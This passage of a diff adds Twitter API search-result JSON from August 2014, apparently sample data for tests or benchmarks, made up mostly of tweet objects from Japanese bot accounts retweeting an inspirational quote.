"profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/505516858816987136/4gFGjHzu_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/505516858816987136/4gFGjHzu_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2417626784/1407764793", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 0, + "favorite_count": 0, + "entities": { + "hashtags": [ + { + "text": "ふぁぼした人にやる", + "indices": [ + 128, + 138 + ] + } + ], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "nasan_arai", + "name": "なーさん", + "id": 1717603286, + "id_str": "1717603286", + "indices": [ + 0, + 11 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:02 +0000 2014", + "id": 505874871218225150, + "id_str": "505874871218225152", + "text": "\"ソードマスター\"剣聖カミイズミ (CV:緑川光)-「ソードマスター」のアスタリスク所持者\n第一師団団長にして「剣聖」の称号を持つ剣士。イデアの剣の師匠。 \n敵味方からも尊敬される一流の武人。", + "source": "twittbot.net", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 1435517814, + "id_str": "1435517814", + "name": "俺、関係ないよ?", + "screen_name": "BDFF_LOVE", + "location": "ルクセンダルクorリングアベルさんの隣", + "description": "自分なりに生きる人、最後まであきらめないの。でも、フォローありがとう…。@ringo_BDFFLOVE ←は、妹です。時々、会話します。「現在BOTで、BDFFのこと呟くよ!」夜は、全滅 「BDFFプレイ中」詳しくは、ツイプロみてください!(絶対)", + "url": "http://t.co/5R4dzpbWX2", + "entities": { + "url": { + "urls": [ + { + "url": "http://t.co/5R4dzpbWX2", + "expanded_url": "http://twpf.jp/BDFF_LOVE", + "display_url": "twpf.jp/BDFF_LOVE", + "indices": [ + 0, + 22 + ] + } + ] + }, + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 1066, + "friends_count": 1799, + "listed_count": 6, + "created_at": "Fri May 17 12:33:23 +0000 2013", + "favourites_count": 1431, + "utc_offset": 32400, + "time_zone": "Irkutsk", + "geo_enabled": true, + "verified": false, + "statuses_count": 6333, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/505696320380612608/qvaxb_zx_normal.png", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/505696320380612608/qvaxb_zx_normal.png", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/1435517814/1409401948", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 0, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:02 +0000 2014", + "id": 505874871130136600, + "id_str": "505874871130136576", + "text": "闇「リンと付き合うに当たって歳の差以外にもいろいろ壁があったんだよ。愛し隊の妨害とか風紀厨の生徒会長とか…」\n一号「リンちゃんを泣かせたらシメるかんね!」\n二号「リンちゃんにやましい事したら×す…」\n執行部「不純な交際は僕が取り締まろうじゃないか…」\n闇「(消される)」", + "source": "twittbot.net", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2386208737, + "id_str": "2386208737", + "name": "闇未来Bot", + "screen_name": "StxRinFbot", + "location": "DIVAルーム", + "description": "ProjectDIVAのモジュール・ストレンジダーク×鏡音リンFutureStyleの自己満足非公式Bot マセレン仕様。CP要素あります。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 7, + "friends_count": 2, + "listed_count": 0, + "created_at": "Thu Mar 13 02:58:09 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 4876, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/443948925351755776/6rmljL5C_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/443948925351755776/6rmljL5C_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2386208737/1396259004", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 0, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:02 +0000 2014", + "id": 505874870933016600, + "id_str": "505874870933016576", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "絶品!!スイーツ天国", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2725681663, + "id_str": "2725681663", + "name": "絶品!!スイーツ天国", + "screen_name": "suitestengoku", + "location": "", + "description": "美味しそうなスイーツって、見てるだけで幸せな気分になれますね♪\r\nそんな素敵なスイーツに出会いたいです。\r\n食べたいと思ったら是非 RT & フォローお願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 401, + "friends_count": 1877, + "listed_count": 1, + "created_at": "Tue Aug 12 07:43:52 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 554, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/499099533507178496/g5dNpArt_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/499099533507178496/g5dNpArt_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2725681663/1407829743", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:02 +0000 2014", + "id": 505874870148669440, + "id_str": "505874870148669440", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "電車厳禁!!おもしろ話", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2699667800, + "id_str": "2699667800", + "name": "電車厳禁!!おもしろ話w", + "screen_name": "dengeki_omoro", + "location": "", + "description": "日常のオモシロくて笑える場面を探します♪\r\n面白かったらRT & 相互フォローでみなさん、お願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 461, + "friends_count": 1919, + "listed_count": 0, + "created_at": "Sat Aug 02 02:16:32 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 728, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/495400387961036800/BBMb_hcG_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/495400387961036800/BBMb_hcG_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2699667800/1406947654", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:02 +0000 2014", + "id": 505874869339189250, + "id_str": "505874869339189249", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "笑えるwwランキング2", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2695745652, + "id_str": "2695745652", + "name": "笑えるwwランキング", + "screen_name": "wara_runk", + "location": "", + "description": "知ってると使えるランキングを探そう。\r\n面白かったらRT & 相互フォローでみなさん、お願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 314, + "friends_count": 1943, + "listed_count": 1, + "created_at": "Thu Jul 31 13:51:57 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 737, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/494844659856728064/xBQfnm5J_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/494844659856728064/xBQfnm5J_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2695745652/1406815103", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:02 +0000 2014", + "id": 505874868533854200, + "id_str": "505874868533854209", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "スニーカー大好き★図鑑", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2707963890, + "id_str": "2707963890", + "name": "スニーカー大好き★図鑑", + "screen_name": "sunikar_daisuki", + "location": "", + "description": "スニーカー好きを見つけて仲間になろう♪\r\n気に入ったら RT & 相互フォローで みなさん、お願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 394, + "friends_count": 1891, + "listed_count": 0, + "created_at": "Tue Aug 05 01:54:28 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 642, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/496474952631996416/f0C_u3_u_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/496474952631996416/f0C_u3_u_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2707963890/1407203869", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "zh" + }, + "created_at": "Sun Aug 31 00:29:01 +0000 2014", + "id": 505874867997380600, + "id_str": "505874867997380608", + "text": "\"@BelloTexto: ¿Quieres ser feliz? \n一\"No stalkees\" \n一\"No stalkees\" \n一\"No stalkees\" \n一\"No stalkees\" \n一\"No stalkees\" \n一\"No stalkees\".\"", + "source": "Twitter for Android", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2249378935, + "id_str": "2249378935", + "name": "Maggie Becerril ", + "screen_name": "maggdesie", + "location": "", + "description": "cambiando la vida de las personas.", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 120, + "friends_count": 391, + "listed_count": 0, + "created_at": "Mon Dec 16 21:56:49 +0000 2013", + "favourites_count": 314, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 1657, + "lang": "es", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/505093371665604608/K0x_LV2y_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/505093371665604608/K0x_LV2y_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2249378935/1409258479", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 0, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "BelloTexto", + "name": "Indirectas... ✉", + "id": 833083404, + "id_str": "833083404", + "indices": [ + 1, + 12 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "zh" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:01 +0000 2014", + "id": 505874867720183800, + "id_str": "505874867720183808", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "ザ・異性の裏の顔", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2719746578, + "id_str": "2719746578", + "name": "ザ・異性の裏の顔", + "screen_name": "iseiuragao", + "location": "", + "description": "異性について少し学ぶことで、必然的にモテるようになる!? 相手を理解することで見えてくるもの「それは・・・●●」 いい内容だと思ったら RT & フォローもお願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 238, + "friends_count": 1922, + "listed_count": 0, + "created_at": "Sat Aug 09 17:18:43 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 532, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/498157077726900224/tW8q4di__normal.png", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/498157077726900224/tW8q4di__normal.png", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2719746578/1407604947", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 